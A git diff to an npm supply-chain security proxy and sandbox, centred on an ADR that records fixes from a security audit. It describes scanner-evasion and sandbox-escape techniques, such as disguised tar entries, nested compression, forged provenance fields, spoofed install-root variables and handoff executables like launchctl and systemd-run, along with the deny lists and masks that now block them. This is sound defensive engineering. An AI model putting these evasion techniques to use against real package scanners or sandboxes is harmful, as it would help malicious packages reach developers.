A lifecycle script is the root's own +only when its directory equals `SENTINEL_ROOT`; with the variable missing, no +script is root. `INIT_CWD` is not trusted, because a nested npm resets it. A +dependency script runs only when `npm_package_integrity` matches the integrity +the proxy audited, compared per algorithm, and the script refuses to run unless +`npm_config_user_agent` names npm 7 or newer (npm 6 exports every package.json +field as `npm_package_*`, so the package could set its own integrity). A package npm records only as sha1 fails closed, and so does a git +dependency with a `prepare` script (npm prepares it in a nested install that +is neither the root nor integrity-bound). On macOS a +sandboxed process can outlive its script, because there is no process-group kill. + ### Runtime violation telemetry (Phase 10) The sandbox has always **contained** a denied capability; it now also reports it. When @@ -501,6 +541,8 @@ serve of the same bytes comes back `block`, on top of the deterministic score, w ever mutating the cached audit. This is best-effort: a denial the package's own code silently swallows (process exits `0`) leaves no signal for telemetry, but it is still denied at the kernel level exactly as before — containment is unaffected either way. +Control characters are stripped from the reported `target`, `deniedResource` and +`stderrExcerpt`. - `sentinel violations [--json]` — list recorded violations and their quarantine state. - `POST /-/violations` — report a violation `{ name, version, integrity, kind, target, @@ -588,7 +630,9 @@ See [ADR-0033](./docs/adr/0033-policy-authoring-impact-preview.md). ## Control-plane authentication (Phase 12) The control plane's mutating endpoints — approvals, violation reports and -clears, retraction, and publish — are **unauthenticated by default (open mode)**. Setting +clears — are **unauthenticated by default (open mode)**. Publish, history import +and retraction are not: in open mode they require a publish token +(`SENTINEL_PUBLISH_TOKENS`) and always return `401` when none is configured. Setting `SENTINEL_AUTH_PUBKEY` on the proxy turns on signed-role-token auth for those routes; everything else (every `GET`, tarball fetches, packument resolution, and `POST /-/audit-tree`) stays open in either mode. @@ -620,7 +664,8 @@ SENTINEL_AUTH_PUBKEY=./auth.pub.pem node packages/proxy/dist/index.js | `DELETE /-/violations/:integrity` | `operator` | | `POST /-/approval-requests` | `agent` | | `POST /-/violations` | `agent` | -| `POST /-/retractions` | `operator` | +| `POST /-/retractions` | `operator` (open mode: publish token) | +| `POST /-/registry/import` | `operator` (open mode: publish token) | | `PUT /:pkg` (publish) | `publisher` | A missing/malformed/expired/badly-signed token is `401`; a well-formed token @@ -738,7 +783,10 @@ Every run uploads the SBOM as a build artifact (`if: always()`, so it's attached even on a blocked run) and, on a `pull_request` event, posts or updates a single PR comment — found by a hidden `` marker so re-runs edit the same comment instead of piling up new ones — with -the verdict, per-package findings table, and provenance summary. +the verdict, per-package findings table, and provenance summary. Only a comment +authored by `github-actions[bot]` is reused, and the comment list is paginated. +Workflow-command data is escaped, and package-controlled text in the comment has +its backticks, `<`, `[`, `]` and `@` neutralized. **Onboarding path:** start with `fail-on: none` — the audit runs, the SBOM uploads, and the PR comment appears, but nothing blocks a merge — then move diff --git a/action.yml b/action.yml index 60b802d..5f0b182 100644 --- a/action.yml +++ b/action.yml @@ -62,7 +62,8 @@ runs: if (!fs.existsSync(path)) return; const body = fs.readFileSync(path, 'utf8'); const marker = ''; - const { data: comments } = await github.rest.issues.listComments({ owner: context.repo.owner, repo: context.repo.repo, issue_number: context.issue.number }); - const existing = comments.find((c) => c.body && c.body.includes(marker)); + const comments = await github.paginate(github.rest.issues.listComments, { owner: context.repo.owner, repo: context.repo.repo, issue_number: context.issue.number, per_page: 100 }); + // Only trust the marker on the Actions bot's own comment: anyone can paste it into theirs. + const existing = comments.find((c) => c.body && c.body.includes(marker) && c.user && c.user.login === 'github-actions[bot]' && c.user.type === 'Bot'); if (existing) await github.rest.issues.updateComment({ owner: context.repo.owner, repo: context.repo.repo, comment_id: existing.id, body }); else await github.rest.issues.createComment({ owner: context.repo.owner, repo: context.repo.repo, issue_number: context.issue.number, body }); diff --git a/docs/adr/0056-security-audit-hardening.md b/docs/adr/0056-security-audit-hardening.md new file mode 100644 index 0000000..f695ab6 --- /dev/null +++ b/docs/adr/0056-security-audit-hardening.md @@ -0,0 +1,308 @@ +# ADR-0056: Security audit hardening + +**Status:** Accepted +**Date:** 2026-11-20 +**Supersedes (in part, without editing them):** +ADR-0039 (the claim that type-7 entries are never surfaced as `entry` events), +ADR-0049 (the rule that a file with a non-`text` sniff is never retained), +ADR-0046 (organization-label matching as Tier-1 evidence), and the `INIT_CWD` +root detection described in ADR-0019 and ADR-0038. +**Extends:** ADR-0010, ADR-0015, ADR-0017, ADR-0021, ADR-0022, ADR-0025, +ADR-0036, ADR-0037, ADR-0042, ADR-0043, ADR-0045 to ADR-0048 + +## Context + +A read-only security audit of the tarball extractor, rules, provenance and +lockfile code, the proxy, the sandbox, enforced installs, the claim steward, +the GitHub Action and the CLI found gaps where an attacker-controlled package, +lockfile, header or request body reached a trust decision. Each finding was +reproduced with a hermetic test before it was fixed. This ADR records the +decisions. Findings that stayed as documented trade-offs are listed at the end. + +## Decisions + +### Tarball extraction + +1. **Type-7 entries are scanned.** node-tar reports typeflag 7 as + `ContiguousFile`, and npm installs it as a normal file. Extraction now + accepts every entry type that ends in `File`. ADR-0039 was wrong that these + bodies never surface. +2. **A mismatched text-extension file is also scanned.** A `.js` file whose + first bytes look binary or compressed is still reported as + `content-mismatch`. It is now also retained as a text `PackageFile` when its + bytes decode as valid UTF-8 with no NUL byte and fit the size cap, so the + rules see it. `MZ:` and `BZh:` are valid JavaScript labels, so a magic-byte + check alone hid real code. Real binaries are still not retained. This + replaces the "never retained" rule in ADR-0049. +3. **Entry paths are normalized like npm.** The first path segment is replaced + by `package`, trailing separators are dropped, the rest is normalized as a + posix path, and `..` is rejected. A backslash is a filename character on POSIX + and a separator on Windows, so the root-manifest count uses both readings, + and a file whose two readings differ is retained under both paths. When a + Windows-reading path collides with another retained path, `manifest-confusion` + fires. Root manifests are counted + case-insensitively after normalization. A new synthesized finding, + `manifest-confusion` (critical, category `metadata`), fires when there is + more than one root manifest, a case-variant manifest, or a root manifest too + large to scan. It blocks under `DEFAULT_POLICY`. Zero manifests add no + finding, so there is no new tarball-side bypass. +4. **Nested compression is refused.** The tar parser auto-detects gzip and + zstd, so gzip(gzip(tar)) and raw zstd decompressed past `maxUnpacked` + uncounted. A compressed signature in the first bytes the parser sees now sets + `truncated`, which reports `resource-abuse`. +5. **Extension-less text files are retained** up to 2 MiB. `install-scripts` + resolves every command token that names a retained package file (`node + setup`, `sh build.sh`) and scans it. Tokens that name docs or data + (`README`, `.md`, `.json`) are skipped. + +### Scoring inputs + +6. **Registry signatures with no matching trusted keyid count as `unsigned`** + (weight 4, low), not `unknown` (weight 0). A list of signatures that match no + trusted key is no better than none. Key expiry is not checked: it needs the + publish time, and the wall clock never enters scoring (invariant 1). +7. **Policy globs use a linear wildcard matcher.** The old `a*b*c` to + `^a.*b.*c$` translation backtracked. `*` now also matches line terminators. +8. **Rules fail soft on hostile input.** Non-string lifecycle hooks are + skipped. The `native-payload-loader` `exports` walk stops at depth 32. A + stack overflow in the loader-chain AST walk maps to `parseFailed`. Quadratic + regexes are bounded or replaced by linear scans. `install-scripts` + parses each simple command (split on `&&`, `||`, `;`, `|`, `&`, newline), + skips `VAR=value` and wrapper words, and scans the files that are executed: + an interpreter's script operand (and `-r`/`--import` values), or the command + word itself. Every operand with a code extension (`.js`, `.cjs`, `.mjs`, + `.ts`, `.sh`, `.py`, `.pl`, `.rb`) is also scanned, so an unknown wrapper + (`sudo`, `timeout`, `xargs`) cannot hide a script. Inline-code flags are per + interpreter (`-c` for shells, `-e`/`-p` for node, and so on), so `sh -e x.sh` + still scans `x.sh`, and shell `-c` code is parsed as a command line (depth + 3). Quoted command words are unquoted first. `.py`, `.pl` and `.rb` files + are retained. Data arguments such as `README.md` are not scanned. There + is no token-count cap, so padding cannot hide `node evil`. Residual: the + command split ignores shell quoting. Base64 markers match any case and `base64url`, since Node + accepts both, in the obfuscation rule, the loader fallback and the + loader-chain decode step. A template literal without expressions, + ``require(`fs`)``, is a static binding. + +### Provenance and lockfiles + +9. **Provenance identity comes from the certificate.** `sourceRepository` and + `ref` are read from the Fulcio leaf certificate extensions (OID + 1.3.6.1.4.1.57264.1.12 and .14) with a small DER walker, never from the SLSA + predicate, which any Sigstore signer writes. They are `null` when the + certificate lacks them, with no predicate fallback. `builder` and `commit` + stay predicate-sourced. A trusted-publisher entry authorizes only when it + constrains `repository` or `workflowRef` and those match, so a builder match + alone never authorizes. Residual: a signed policy identity requirement that + constrains only `builder` can be met by a signer-written builder. +10. **Non-registry lockfile entries are flagged.** `Coordinate` gains + `nonRegistry`, the raw `resolved` spec, set when the entry is not an http(s) + `/-/.tgz` registry tarball (git, `github:`, other tarball URLs). The + flag is sticky when duplicate `name@version` entries merge. `POST + /-/audit-tree` returns a `block` row for such a coordinate and fetches + nothing; the dedupe key includes the marker so a git row never shares a + registry row's verdict. Yarn berry `workspace`, `patch`, `link`, `portal`, + `file` and `exec` entries and pnpm directory entries are skipped, not + flagged. A patch overlay's registry base is its own entry and is audited; + the patch itself is not. A registry coordinate also needs an integrity pin + with a known algorithm (yarn v1 `#` fragments count): without one, npm + would install unverified bytes from whatever host the lockfile names, so the + entry is flagged. Conflicting pins for one `name@version` are flagged. + `audit-tree` checks each distinct pin against the served bytes (sha1, + sha256, sha384, sha512, every token must match), and a claim with an + unknown algorithm blocks instead of being skipped. A lockfile name outside + the npm grammar is reported as `` and a non-plain version as + `0.0.0`, both flagged, so no URL text reaches the output. The block row + names only the source kind (git, url, other), never the raw resolution, + which can carry credentials. + +### Proxy + +11. **`SENTINEL_POLICY` must be exactly `observe` or `block`,** else FATAL. A + typo such as `Block` used to serve blocked packages. +12. **The proxy binds `127.0.0.1` by default.** `SENTINEL_HOST` overrides it + and an empty value is FATAL. Network deployments must set it. This breaks + deployments that relied on all interfaces; the project is pre-1.0. +13. **Compatibility routes do not forward client credentials.** `authorization`, + `cookie` and `npm-otp` are dropped before the upstream request on every + compatibility route, web login included: npm attaches the token it has for + this registry URL, which is a Sentinel token. Bodies are capped at 8 MiB + (npm posts the full tree to `advisories/bulk`) and the routes sit behind the + opt-in rate gate. An oversized upload is drained (bounded) before the 413 is + sent, so the client receives it. +14. **Open mode no longer exposes import and retraction.** With + `SENTINEL_AUTH_PUBKEY` unset, `POST /-/registry/import` and + `POST /-/retractions` require a publish token, as publish does. With no + publish tokens configured they always return 401. With auth enabled they + still require the `operator` role. +15. **`AuditStore` is bounded.** It keeps at most 20,000 entries in memory and + evicts the oldest first. Approvals and violations for an evicted coordinate + answer "audit first", which is the existing behavior for an unknown + coordinate. There is no env var. Reports carry `engine.revision` + (`AUDIT_REVISION`, bumped whenever rule semantics change). The store skips + persisted reports whose engine version or revision differs, and the native + serve path re-audits a stored publication with a stale audit from the stored + bytes, without rewriting the publication record. Only imported versions + reuse the registry signatures kept in their manifest; a publisher's + version is re-audited with none, as at publish time. + History import now stores the verified provenance bundles. An imported + version stored before that carries its import-time provenance result into + the re-audit (`runAudit` input `provenanceCarryOver`, set only by the proxy + and only for imported versions; it was verified against the same bytes). + Writes to the store file are debounced (about 500 ms) and flushed on exit, + `SIGTERM` and `SIGINT`. + +### Sandbox and enforced installs + +16. **The Seatbelt profile is passed inline** (`sandbox-exec -p`). The profile + file under the OS temp dir was inside the write floor, so a lingering + sandboxed process could rewrite the next run's profile. +17. **bwrap isolates pid, session and local IPC.** Every run adds + `--unshare-pid --new-session`. `--die-with-parent` is not used: its + `PR_SET_PDEATHSIG` is tied to the forking thread and intermittently killed + runs at start, and the pid namespace already ends orphans with the command. + Residual, unchanged from before: if Sentinel is killed mid-run, the + sandboxed command still runs to completion inside the sandbox. Local IPC masks apply + whether or not network is approved, because `--unshare-net` does not cover + pathname unix sockets: the user session bus under `/run/user/`, the + docker, containerd, podman and crio sockets, the system dbus socket, and + `/tmp/.X11-unix` and `/tmp/ssh-*` when present. Each mask is + existence-guarded and is lifted only by an explicit filesystem grant. When + the working directory, project root or `$HOME` sits under a directory that + would be masked, the run is refused rather than left unmasked. Residual: + abstract unix sockets stay reachable when `network` is approved, because + there is no network namespace then. +18. **More exec carve-outs.** `SENSITIVE_EXECUTABLES` adds `launchctl`, `open`, + `shortcuts` and `automator` (hand work to a process outside the sandbox on + macOS) and `systemd-run`, `busctl`, `dbus-send` and `gdbus` (the Linux + equivalents). The carve-out matches paths, not mach services: the profile + does not deny LaunchServices mach lookups, and macOS kills a copied + `launchctl` itself. +19. **The node-gyp header caches are read-only.** `~/.node-gyp` and + `~/.cache/node-gyp` leave the write floor, because a shared writable cache + lets one package plant headers a later build trusts. With a `network` + approval, `npm_config_devdir` points at a per-run directory outside every + write floor; without one, a cold-cache native build fails. +20. **Path edge cases.** A project root of `/` never widens read or exec rules. + `cwd` and project root are resolved to their real paths before use, and a + working directory that resolves to `/` (including through a symlink) is + refused on both backends. `npm_config_*` + values that contain URL credentials are scrubbed. Violation `target`, + `deniedResource` and `stderrExcerpt` are stripped of control characters. +21. **Enforced installs bind to a trusted root and to the audited bytes.** + `sentinel install --enforce` sets `SENTINEL_ROOT` to the realpath of the + install cwd. It is not user-configurable. Root detection compares against it + and fails closed when it is missing. `INIT_CWD` is no longer trusted, + because a nested npm (a git dependency's `prepare`) resets it. A dependency + script runs only when `npm_package_integrity` matches the audited integrity, + compared per algorithm, and `npm_config_user_agent` names npm 7 or newer. + npm 7 and later set that variable from the lockfile node and export only + name, version, config, engines and bin from package.json (npm RFC 183); + npm 6 exports every field, so the package could set its own integrity. Residual: a package npm records only as sha1 fails closed. A git + dependency with a `prepare` script fails closed too: npm prepares it in a + nested install whose scripts are neither the root nor integrity-bound. + Residual: on macOS a sandboxed process can outlive its script, because there + is no process-group kill. + +### Claim steward + +22. **Tier 1 needs a homepage or repository host at or under the claimed + domain.** A same-named GitHub or GitLab organization no longer counts. Such + claims land in Tier 2 (evidence plus the 30-day timelock). This replaces the + organization-label evidence in ADR-0046. +23. **Challenges expire 30 days after issue** for verify, approve, transfer, + renew and rule-dispute. The tier is recomputed at approval from a fresh + upstream lookup. +24. **The state machine has fewer gaps.** A transfer needs an active claim with + no pending change, and a pending transfer materializes only while the claim + is active. A dispute survives expiry and domain-change freezes; only a + dispute ruling clears it. Renewal refuses a disputed claim and needs a + challenge verified after the current proof. +25. **Transfer signatures bind the claim's current challenge id,** so an old + signature cannot replay after a renewal or transfer. Every proof is single + use: `verifiedAt` never changes once set, and a challenge adopted by an + approval, transfer, ruling or renewal is consumed and refused afterwards. + State written before proof tracking spends every verified challenge on + load, so in-flight approvals, transfers, renewals and rulings need a fresh + challenge after the upgrade. +26. **Request bodies are validated.** `evidenceRef` must be a non-empty string. + Application fields are copied explicitly, so a body-supplied `verifiedAt` + can no longer skip DNS. +27. **The steward binds `127.0.0.1` by default.** `SENTINEL_STEWARD_HOST` + overrides it and an empty value is FATAL. + +Public API changes: `ClaimSteward.approve` is async, and `signTransferRequest` +and `transferRequestBytes` take `currentChallengeId`. + +### Action and CLI + +28. The PR comment is reused only when the marker is on a comment authored by + `github-actions[bot]`, and comment lists are paginated. +29. Workflow-command data (`%`, CR, LF) is escaped, including fatal errors. + No annotation properties are emitted. PR comment Markdown + neutralizes backticks, `<`, `[`, `]` and `@`. +30. The CLI passes package-controlled text through `sanitizeTerminal()`, and + `run-scripts` resolves its directory argument. + +### Release workflow + +31. The publish job keeps only `contents: read` and `id-token: write`. Installing + the published packages in a clean project moved to a + `verify-registry-install` job with `permissions: {}`. Creating the GitHub + release moved to a `github-release` job with `contents: write`. `ci.yml` + has a read-only token. Third-party install code no longer runs with a + token that can publish or write. + +### Dependencies + +32. **Production advisories are fixed.** `npm audit fix` updated the transitive + packages, and `@git-agentic/sentinel-mcp` moves from zod 3 to zod 4.6.7 + (GHSA-mrhx-c7xc-m3w5). The installed `@modelcontextprotocol/sdk` accepts + `zod ^3.25 || ^4.0`, and the MCP source only uses `z.string()` and + `.optional()`. `npm audit --omit=dev` reports no vulnerabilities. + +## Consequences + +- Several defaults are stricter: the proxy and steward bind loopback, + `SENTINEL_POLICY` is validated, open-mode import and retraction are closed, + and non-registry lockfile entries gate `audit-tree`. +- A tarball with two root manifests, or an unscannable one, now blocks. +- Sandboxed native builds without a `network` approval fail on a cold node-gyp + cache. +- The `Coordinate` shape, `ClaimSteward.approve` and the transfer-signing + helpers changed. Callers must update. +- A resolved registry entry without an integrity pin gates `audit-tree`, + including yarn v1 files from private registries that record neither + `integrity` nor a `#sha1` fragment. Yarn berry entries carry no SRI and are + judged by their locator only. +- A version imported before this change keeps its verified provenance but + loses the predicate-sourced `sourceRepository` and `ref`. Under a signed + policy whose `provenanceIdentities` constrain `repository`, it now gets a + critical finding, and re-import is refused once native history exists. The + operator's remedy is a policy exception for that name (or relaxing the + repository constraint) until a new release is published with provenance. +- Detection gaps left for follow-up: `npm run ` is not followed into + `scripts[]`, `.`/`source` are not treated as interpreters, bare + `-r`/`NODE_OPTIONS` specifiers and extension-less preload paths are not + resolved, command words are not looked up in bundled `node_modules/.bin`, + and the overflow fallback stays regex-based. Other rules still scan those + files; only the lifecycle-script escalation is lost. + +## Not changed + +These were audited and kept as documented trade-offs: the steward rate limit +runs before authentication (threat model 6.2); download-window inflation in +retraction (6.4); open-mode reads. + +## Rejected alternatives + +- **Check registry key expiry in signature verification.** It needs the publish + time, and the wall clock is banned from scoring. It would also downgrade every + package signed only by npm's expired 2025 key. +- **Take `ref` from the predicate when the certificate lacks it.** That keeps the + forgeable value reachable. Null fails closed. +- **Trust `INIT_CWD` plus a path check for the install root.** The variable is + attacker-influenceable through nested npm. +- **Keep the Seatbelt profile file and tighten its directory.** Passing the + profile inline removes the file. +- **Ship a general ASN.1 parser for the certificate.** Two extensions are needed, + so a small TLV walker is enough and is tested on a real bundle. diff --git a/docs/adr/README.md b/docs/adr/README.md index f55d8bc..b5145f3 100644 --- a/docs/adr/README.md +++ b/docs/adr/README.md @@ -154,6 +154,7 @@ first shipped slice; Phases 31 and 32 complete claiming and retraction. | [0053](./0053-per-rule-score-cap.md) | Per-rule score cap | `scoring.perRuleCapMultiplier` (policy data, default 3) bounds a rule's total penalty at that multiple of its own worst-instance weight, so N file-level findings from one rule can't alone drive the score to zero; monotonic, waiver-compatible (ADR-0014), optional for backward compat with already-signed policies | | [0054](./0054-obfuscation-execution-correlation.md) | Obfuscation requires an execution sink | Encoded/minified data and readable runtime glue are not obfuscation by themselves; retain high findings for direct `eval`, decoded `Function` source, and computed decoded `require` | | [0055](./0055-coordinate-bound-audit-cache.md) | Coordinate-bound audit cache | Bind complete reports to `(name, version, actual integrity)` so byte-identical package coordinates cannot share metadata-dependent findings | +| [0056](./0056-security-audit-hardening.md) | Security audit hardening | Type-7 and mismatched-text files are scanned, npm-style path and manifest-confusion checks, certificate-bound provenance identity, non-registry lockfile rows, loopback bind defaults, closed open-mode import/retraction, inline Seatbelt profile, IPC masks, `SENTINEL_ROOT` install identity, steward Tier-1 and state-machine fixes; supersedes parts of ADR-0019/0038/0039/0046/0049 | ## Conventions diff --git a/docs/release-process.md b/docs/release-process.md index 5cb4c29..7cbc400 100644 --- a/docs/release-process.md +++ b/docs/release-process.md @@ -71,20 +71,25 @@ test matrix, one clean-checkout build, pack, packed-artifact smoke test, and an uploaded artifact set: tarballs, `SHA256SUMS`, CycloneDX SBOM, `release-manifest.json`, smoke results. No publication. -**Stage B — publish** (`publish` job): requires `publish=true` on the -dispatch **and** approval of the protected `npm-release` GitHub environment. -It downloads Stage A's exact artifacts, verifies checksums, verifies the tag -points at the tested commit, verifies every tarball declares the release -version, refuses to run if any target version already exists, publishes in -dependency order with `--access public --tag alpha --provenance`, verifies -each package via `npm view` (version + dist-tag), installs the published -packages from the public registry in a clean project, and only then creates -the GitHub prerelease with the artifacts attached. - -Least privilege: top-level `permissions: {}`; the publish job alone gets -`contents: write` (release creation) and `id-token: write` (provenance). -`pull_request_target` is never used and no publish credential is reachable -from a PR-triggered workflow. +**Stage B — publish** (`publish`, `verify-registry-install` and `github-release` +jobs): requires `publish=true` on the dispatch **and** approval of the protected +`npm-release` GitHub environment. The `publish` job downloads Stage A's exact +artifacts, verifies checksums, verifies the tag points at the tested commit, +verifies every tarball declares the release version, refuses to run if any +target version already exists, publishes in dependency order with +`--access public --tag alpha --provenance`, and verifies each package via +`npm view` (version + dist-tag). The `verify-registry-install` job then installs +the published packages from the public registry in a clean project. Only after +that does the `github-release` job create the GitHub prerelease with the +artifacts attached. + +Least privilege: top-level `permissions: {}`. The `publish` job has only +`contents: read` and `id-token: write` (provenance). The +`verify-registry-install` job has `permissions: {}`, because npm runs freshly +resolved third-party code there with no lockfile. The `github-release` job alone +has `contents: write`. Checkouts use `persist-credentials: false`, and `ci.yml` +runs with a read-only token. `pull_request_target` is never used and no publish +credential is reachable from a PR-triggered workflow. ## Trusted publishing diff --git a/package-lock.json b/package-lock.json index 5aa1999..04e7dbd 100644 --- a/package-lock.json +++ b/package-lock.json @@ -498,15 +498,15 @@ "link": true }, "node_modules/@hono/node-server": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/@hono/node-server/-/node-server-2.1.0.tgz", - "integrity": "sha512-XovyyCCnBzW+zKu+z/zq8hwNs4KOR5rEMAOxo2f40Q5xoOI37IMm6MIg2COOUtUApo0i6850MTBKH2u4QLGIqg==", + "version": "2.1.9", + "resolved": "https://registry.npmjs.org/@hono/node-server/-/node-server-2.1.9.tgz", + "integrity": "sha512-Sk4NQd3GFY0WZWCzndwFMPwJhtD0y9qjsQ+pjID0/03nK9pxyBCUoUHCho8QYBLBVhi0ssL8UkNPHqbgSOFPIQ==", "license": "MIT", "engines": { "node": ">=20" }, "peerDependencies": { - "hono": "^4" + "hono": "^4 || ^5.0.0-0" } }, "node_modules/@isaacs/fs-minipass": { @@ -781,18 +781,18 @@ } }, "node_modules/body-parser": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.3.0.tgz", - "integrity": "sha512-2cGmJupaNgg+QUwVLAucDuWuoMZ6EX9iHDRswZ5lsNYEmwPaRknMPCLZz07yTzVq/83p4o/wzbDZbBrTvGGTIw==", + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.4.0.tgz", + "integrity": "sha512-Ifk1KcLrxaGt1occQagQNFNNOqRt1LFuehEnHHzB8Z6cRgIxRU1TBaiIsUiCdA+gy5PL7Y1IX31DNKkRmxtXjQ==", "license": "MIT", "dependencies": { "bytes": "^3.1.2", - "content-type": "^2.0.0", + "content-type": "^2.1.0", "debug": "^4.4.3", "http-errors": "^2.0.1", - "iconv-lite": "^0.7.2", + "iconv-lite": "^0.7.3", "on-finished": "^2.4.1", - "qs": "^6.15.2", + "qs": "^6.16.1", "raw-body": "^3.0.2", "type-is": "^2.1.0" }, @@ -805,9 +805,9 @@ } }, "node_modules/body-parser/node_modules/content-type": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.0.0.tgz", - "integrity": "sha512-j/O/d7GcZCyNl7/hwZAb606rzqkyvaDctLmckbxLzHvFBzTJHuGEdodATcP3yIRoDrLHkIATJuvzbFlp/ki2cQ==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.1.0.tgz", + "integrity": "sha512-mj7UPXE0jaqaOsukNZRUEfEi2AcL7C/vwmwcHV0O97eO1E1pxBZuyjlZrx5seTaNBg1U6+o35wpa35Qfcc+7ag==", "license": "MIT", "engines": { "node": ">=18" @@ -1175,9 +1175,9 @@ "license": "MIT" }, "node_modules/fast-uri": { - "version": "3.1.8", - "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.8.tgz", - "integrity": "sha512-GZMtZUTNRpOVIECoXwLNZS5xUGE+mVNbTB8h/7Rwh2TFWcBQiPzTgyZi05BF9UMZKkLJv8XBRJTlU7zg8+ZfMg==", + "version": "3.1.9", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.9.tgz", + "integrity": "sha512-hS/0Wt3Ya043oKXs0sIxrMpKQITXhMLIrVAKKXi4gozGC9v7YRWVnXIZzjNPTO02M9BdxLCWqK1yRXgNziVyJQ==", "funding": [ { "type": "github", @@ -1327,9 +1327,9 @@ } }, "node_modules/hono": { - "version": "4.13.7", - "resolved": "https://registry.npmjs.org/hono/-/hono-4.13.7.tgz", - "integrity": "sha512-c8/gF9ac8Y78/agExVocyLevgR+JlpNB444Py0FSX8pJoPdYUfUzRcXtYEYGwt6l19qIlVZPN5Mfsw9jFShmQQ==", + "version": "4.13.19", + "resolved": "https://registry.npmjs.org/hono/-/hono-4.13.19.tgz", + "integrity": "sha512-KmXvQAXwcAHV+muzbIwoJ23niEB5nMoDVr9WcRkU8mvjUECm/1+7v4Jgp7P7a+H6MLFrh+vXrGonGrGS+RQfkA==", "license": "MIT", "engines": { "node": ">=16.9.0" @@ -1356,9 +1356,9 @@ } }, "node_modules/iconv-lite": { - "version": "0.7.2", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.2.tgz", - "integrity": "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw==", + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.3.tgz", + "integrity": "sha512-IKXpvIzjnC9XTAUbVBcMfGS0EPaIXtW6v+zr+RRp+hqULEpo0owZax6wyRwPOJbWbzjYspQwusTsfVr0ifh4uQ==", "license": "MIT", "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" @@ -1616,9 +1616,9 @@ } }, "node_modules/qs": { - "version": "6.16.0", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.16.0.tgz", - "integrity": "sha512-h6fhOIaRrID2CbEY2fqs+7t+UXZo+MLAnU5gRIq85uFtdiUPCdsApMlHhXogKVM4HM2DVbIjGNTTYH2OcmP1vA==", + "version": "6.17.1", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.17.1.tgz", + "integrity": "sha512-jd3COkaKVgGUW+ZHyEHCG9bH7RoaaiWuMgzsIBjUMVjLAaWGWpoUAVwljVvBHxRu/2qEHnadLGZrkutYUBPQJA==", "license": "BSD-3-Clause", "dependencies": { "es-define-property": "^1.0.1", @@ -2011,9 +2011,9 @@ } }, "node_modules/zod": { - "version": "3.25.76", - "resolved": "https://registry.npmjs.org/zod/-/zod-3.25.76.tgz", - "integrity": "sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ==", + "version": "4.6.7", + "resolved": "https://registry.npmjs.org/zod/-/zod-4.6.7.tgz", + "integrity": "sha512-g8W2D2kU6a8untc053fX1uVBKzM7yqAxW/3zwk83+6RyF2+SKOuV+c0wBDhUwzV1PaGapmZH+rmcUzPf+3CGwg==", "license": "MIT", "funding": { "url": "https://github.com/sponsors/colinhacks" @@ -2095,7 +2095,7 @@ "dependencies": { "@git-agentic/sentinel-core": "0.1.0-alpha.2", "@modelcontextprotocol/sdk": "^1.29.0", - "zod": "^3.23.8" + "zod": "^4.6.7" }, "bin": { "sentinel-mcp": "dist/index.js" diff --git a/packages/action/src/index.ts b/packages/action/src/index.ts index 72f7cee..b4f89ba 100644 --- a/packages/action/src/index.ts +++ b/packages/action/src/index.ts @@ -3,7 +3,7 @@ import { readFileSync, realpathSync } from "node:fs"; import { pathToFileURL } from "node:url"; import { NpmUpstream, LocalFixtureUpstream, type Upstream } from "@git-agentic/sentinel-proxy"; import { loadPolicy, DEFAULT_POLICY, type EnterprisePolicy } from "@git-agentic/sentinel-core"; -import { runCi } from "./run.js"; +import { runCi, escapeData } from "./run.js"; function env(name: string, fallback = ""): string { return process.env[name] ?? fallback; @@ -55,7 +55,7 @@ function isEntrypoint(): boolean { } if (isEntrypoint()) { main().catch((err) => { - console.error(`::error::sentinel-ci failed: ${(err as Error).message}`); + console.error(`::error::sentinel-ci failed: ${escapeData((err as Error).message)}`); process.exit(1); }); } diff --git a/packages/action/src/report.ts b/packages/action/src/report.ts index 8373923..3e812b9 100644 --- a/packages/action/src/report.ts +++ b/packages/action/src/report.ts @@ -50,5 +50,7 @@ function scoreCell(p: TreePackageRow): string { function escapePipe(s: string): string { // Escape backslashes FIRST, else an input `\|` would become `\\|` — a literal // backslash followed by an unescaped pipe that breaks out of the table cell. - return s.replace(/\\/g, "\\\\").replace(/\|/g, "\\|").replace(/\n/g, " "); + // Backtick, `<`, `[`, `]` block code/HTML/link/image syntax; `@` gets a zero-width + // space so a finding cannot @mention (and notify) a user. + return s.replace(/\\/g, "\\\\").replace(/[|`<[\]]/g, "\\$&").replace(/@/g, "@\u200b").replace(/\r?\n|\r/g, " "); } diff --git a/packages/action/src/run.ts b/packages/action/src/run.ts index f33e786..1e09bb3 100644 --- a/packages/action/src/run.ts +++ b/packages/action/src/run.ts @@ -42,7 +42,12 @@ function detectLockfile(cwd: string, explicit?: string): string { throw new Error(`no lockfile found in ${cwd} (looked for ${LOCKFILES.join(", ")})`); } -const VERDICT_RANK: Record = { allow: 0, warn: 1, block: 2 }; +/** Workflow-command data escaping, as @actions/core does: a newline in a finding must not start a new command. */ +export function escapeData(s: string): string { + return s.replace(/%/g, "%25").replace(/\r/g, "%0D").replace(/\n/g, "%0A"); +} + +const VERDICT_RANK:Record = { allow: 0, warn: 1, block: 2 }; function exitFor(agg: TreeAuditResult["aggregate"], failOn: RunCiOptions["failOn"]): number { if (failOn === "none") return 0; @@ -66,7 +71,7 @@ export async function runCi(opts: RunCiOptions): Promise { approvalRequests: new ApprovalRequestStore(), }); const server: Server = await new Promise((resolve, reject) => { - const s = app.listen(0, () => resolve(s)); + const s = app.listen(0, "127.0.0.1", () => resolve(s)); s.once("error", reject); }); try { @@ -93,8 +98,8 @@ export async function runCi(opts: RunCiOptions): Promise { } if 